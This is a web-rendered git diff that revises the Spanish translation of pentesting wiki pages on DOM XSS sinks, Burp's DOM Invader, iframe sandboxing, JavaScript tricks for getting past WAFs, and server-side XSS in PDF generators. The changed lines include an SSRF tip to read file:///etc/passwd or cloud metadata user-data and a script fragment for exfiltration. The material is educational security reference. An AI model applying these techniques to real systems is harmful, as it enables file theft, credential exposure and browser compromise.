DOM Invader es una herramienta del navegador instalada en el navegador integrado de Burp. Ayuda en **la detección de vulnerabilidades DOM XSS** utilizando diversas fuentes y sumideros, incluidos mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
|
||||
|
||||
DOM Invader integra una pestaña dentro del panel DevTools del navegador que permite lo siguiente:
|
||||
|
||||
@ -13,7 +13,7 @@ DOM Invader integra una pestaña dentro del panel DevTools del navegador que per
|
||||
3. Detección de **fuentes de contaminación de prototipos del lado del cliente** y escaneo de gadgets controlables enviados a sumideros riesgosos.
|
||||
4. Identificación de **vulnerabilidades de clobbering DOM**.
|
||||
|
||||
### Habilitarlo
|
||||
### Habilítalo
|
||||
|
||||
En el navegador integrado de Burp, ve a la **extensión de Burp** y habilítala:
|
||||
|
||||
@ -71,13 +71,13 @@ b.testproperty
|
||||
Una vez que encuentres una fuente, puedes **scanear en busca de un gadget**:
|
||||
|
||||
1. Se abre una nueva pestaña por DOM Invader cuando se hace clic en el botón **Scan for gadgets**, que se puede encontrar junto a cualquier fuente de contaminación de prototipos identificada en la vista **DOM**. Luego comienza el escaneo en busca de gadgets adecuados.
|
||||
2. Mientras tanto, en la misma pestaña, la pestaña **DOM Invader** debería estar abierta en el panel de DevTools. Después de que se complete el escaneo, cualquier sink accesible a través de los gadgets identificados se muestra en la vista **DOM**. Por ejemplo, se muestra un gadget con una propiedad llamada `html` que se pasa al sink `innerHTML` en el ejemplo a continuación.
|
||||
2. Mientras tanto, en la misma pestaña, la pestaña **DOM Invader** debería estar abierta en el panel de DevTools. Después de que se complete el escaneo, cualquier sink accesible a través de los gadgets identificados se muestra en la vista **DOM**. Por ejemplo, se muestra en el siguiente ejemplo una propiedad de gadget llamada `html` que se pasa al sink `innerHTML`.
|
||||
|
||||
## DOM clobbering
|
||||
|
||||
En la imagen anterior es posible ver que se puede activar el escaneo de DOM clobbering. Una vez hecho esto, **DOM Invader comenzará a buscar vulnerabilidades de DOM clobbering**.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
|
||||
- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling)
|
||||
|
||||
@ -31,56 +31,56 @@ sessionStorage
|
||||
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
|
||||
Database
|
||||
```
|
||||
**Sinks Comunes:**
|
||||
**Common Sinks:**
|
||||
|
||||
| [**Redirección Abierta**](dom-xss.md#open-redirect) | [**Inyección de Javascript**](dom-xss.md#javascript-injection) | [**Manipulación de datos DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** |
|
||||
| -------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||
| `location` | `eval()` | `scriptElement.src` | `add()` |
|
||||
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
|
||||
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
|
||||
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
|
||||
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
|
||||
| `location.search` | `execCommand()` | `someDOMElement.search` | `insertBefore()` |
|
||||
| `location.protocol` | `execScript()` | `someDOMElement.text` | `before()` |
|
||||
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
|
||||
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
|
||||
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
|
||||
| `domElem.srcdoc` | **\`\`**[**Manipulación de ruta de archivo local**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
|
||||
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
|
||||
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
|
||||
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
|
||||
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
|
||||
| **\`\`**[**Manipulación de solicitud Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
|
||||
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
|
||||
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
|
||||
| `XMLHttpRequest.send()` | [**Manipulación de enlaces**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
|
||||
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
|
||||
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Inyección de JSON del lado del cliente**](dom-xss.md#client-side-sql-injection) |
|
||||
| **\`\`**[**Manipulación de almacenamiento HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
|
||||
| `sessionStorage.setItem()` | [**Inyección de XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
|
||||
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
|
||||
| **``**[**`Denegación de Servicio`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulación de Cookies**](dom-xss.md#cookie-manipulation) |
|
||||
| `requestFileSystem()` | **\`\`**[**Manipulación de dominio de documento**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
|
||||
| `RegExp()` | `document.domain` | `history.pushState()` | [**Envenenamiento de URL de WebSocket**](dom-xss.md#websocket-url-poisoning) |
|
||||
| [**Inyección SQL del lado del cliente**](dom-xss.md#client-side-sql-injection) | [**Manipulación de mensajes web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
|
||||
| `executeSql()` | `postMessage()` | \`\` | \`\` |
|
||||
| [**Open Redirect**](dom-xss.md#open-redirect) | [**Javascript Injection**](dom-xss.md#javascript-injection) | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery** |
|
||||
| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||
| `location` | `eval()` | `scriptElement.src` | `add()` |
|
||||
| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` |
|
||||
| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` |
|
||||
| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` |
|
||||
| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` |
|
||||
| `location.search` | `execCommand()` | `someDOMElement.search` | `insertBefore()` |
|
||||
| `location.protocol` | `execScript()` | `someDOMElement.text` | `before()` |
|
||||
| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` |
|
||||
| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` |
|
||||
| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` |
|
||||
| `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` |
|
||||
| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` |
|
||||
| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` |
|
||||
| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` |
|
||||
| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` |
|
||||
| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` |
|
||||
| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` |
|
||||
| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` |
|
||||
| `XMLHttpRequest.send()` | [**Link manipulation**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` |
|
||||
| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` |
|
||||
| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) |
|
||||
| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` |
|
||||
| `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` |
|
||||
| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` |
|
||||
| **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation) |
|
||||
| `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` |
|
||||
| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning) |
|
||||
| [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection) | [**Web-message manipulation**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` |
|
||||
| `executeSql()` | `postMessage()` | \`\` | \`\` |
|
||||
|
||||
El **`innerHTML`** sink no acepta elementos `script` en ningún navegador moderno, ni se activarán eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe`.
|
||||
|
||||
Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que necesitas mirar dentro del código JS, ver si está **usando** algún objeto cuyo **valor controlas**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario.
|
||||
|
||||
## Herramientas para encontrarlos
|
||||
## Tools to find them
|
||||
|
||||
- [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
|
||||
- Extensión de navegador para verificar cada dato que llega a un sink potencial: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
|
||||
|
||||
## Ejemplos
|
||||
## Examples
|
||||
|
||||
### Redirección Abierta
|
||||
### Open Redirect
|
||||
|
||||
Desde: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
||||
De: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
|
||||
|
||||
**Las vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
|
||||
Las **vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
|
||||
|
||||
Es crucial entender que ejecutar código arbitrario, como **`javascript:alert(1)`**, es posible si tienes control sobre el inicio de la URL donde ocurre la redirección.
|
||||
|
||||
@ -104,11 +104,11 @@ $.ajax()
|
||||
```
|
||||
### Manipulación de cookies
|
||||
|
||||
Desde: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||
From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||
|
||||
Las vulnerabilidades de manipulación de cookies basadas en DOM ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede llevar a un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un ataque de fijación de sesión si la cookie está involucrada en el seguimiento de sesiones de usuario. El sumidero principal asociado con esta vulnerabilidad es:
|
||||
|
||||
Sumideros:
|
||||
Sinks:
|
||||
```javascript
|
||||
document.cookie
|
||||
```
|
||||
@ -209,7 +209,7 @@ executeSql()
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
||||
|
||||
**Las vulnerabilidades de manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlables por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como scripting entre sitios e inyección de JavaScript.
|
||||
**Las vulnerabilidades de manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlables por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como scripting entre sitios e inyección de JavaScript.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
@ -284,7 +284,7 @@ history.replaceState()
|
||||
|
||||
From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
||||
|
||||
**Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden hacer que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o finalizar scripts ocupados.
|
||||
**Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden hacer que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o terminar scripts ocupados.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
||||
@ -126,7 +126,7 @@ Cuando se utiliza, el atributo `sandbox` impone varias limitaciones:
|
||||
- La ejecución de scripts está prohibida.
|
||||
- El acceso a ciertas APIs está deshabilitado.
|
||||
- Evita que los enlaces interactúen con otros contextos de navegación.
|
||||
- El uso de plugins a través de `<embed>`, `<object>`, `<applet>`, o etiquetas similares está prohibido.
|
||||
- El uso de plugins a través de `<embed>`, `<object>`, `<applet>` o etiquetas similares está prohibido.
|
||||
- Se impide que el contenido navegue por el contexto de navegación de nivel superior por sí mismo.
|
||||
- Las características que se activan automáticamente, como la reproducción de video o el enfoque automático de los controles de formulario, están bloqueadas.
|
||||
|
||||
|
||||
@ -108,9 +108,9 @@ log.push(i)
|
||||
console.log(log) //34,39,47,96
|
||||
//single quote, quotes, backticks & // (regex)
|
||||
```
|
||||
### **Surrogate Pairs BF**
|
||||
### **Pares Suplementarios BF**
|
||||
|
||||
Esta técnica no será muy útil para XSS, pero podría ser útil para eludir las protecciones de WAF. Este código de python recibe como entrada 2 bytes y busca pares de sustitutos que tengan el primer byte como el último byte del par de sustitutos alto y el último byte como el último byte del par de sustitutos bajo.
|
||||
Esta técnica no será muy útil para XSS, pero podría ser útil para eludir las protecciones de WAF. Este código de python recibe como entrada 2 bytes y busca pares suplementarios que tengan el primer byte como el último byte del par suplementario alto y el último byte como el último byte del par suplementario bajo.
|
||||
```python
|
||||
def unicode(findHex):
|
||||
for i in range(0,0xFFFFF):
|
||||
@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
|
||||
console.log(this.afunc.toString()) //This will print the code of the function
|
||||
console.log(global.afunc.toString()) //This will print the code of the function
|
||||
```
|
||||
En los casos donde la **función no tiene ningún nombre**, aún puedes imprimir el **código de la función** desde dentro:
|
||||
En los casos en que la **función no tiene ningún nombre**, aún puedes imprimir el **código de la función** desde dentro:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.toString()
|
||||
|
||||
@ -5,10 +5,10 @@
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
Si una página web está creando un PDF utilizando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
||||
Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
|
||||
Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **Server XSS**.
|
||||
|
||||
Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, así que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\
|
||||
Además, nota que en una explotación regular podrás **ver/descargar el pdf creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
|
||||
Además, ten en cuenta que en una explotación regular podrás **ver/descargar el pdf creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
|
||||
|
||||
### Generación de PDF popular
|
||||
|
||||
@ -81,7 +81,7 @@ La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad p
|
||||
> [!WARNING]
|
||||
> Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**.
|
||||
>
|
||||
> Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
> Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles elusiones](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
@ -151,7 +151,7 @@ Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que pued
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta característica para **adjuntar cualquier archivo local** al PDF.\
|
||||
Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\
|
||||
Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo del clip** para **guardar el adjunto** como un nuevo archivo.\
|
||||
Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
|
||||
```html
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user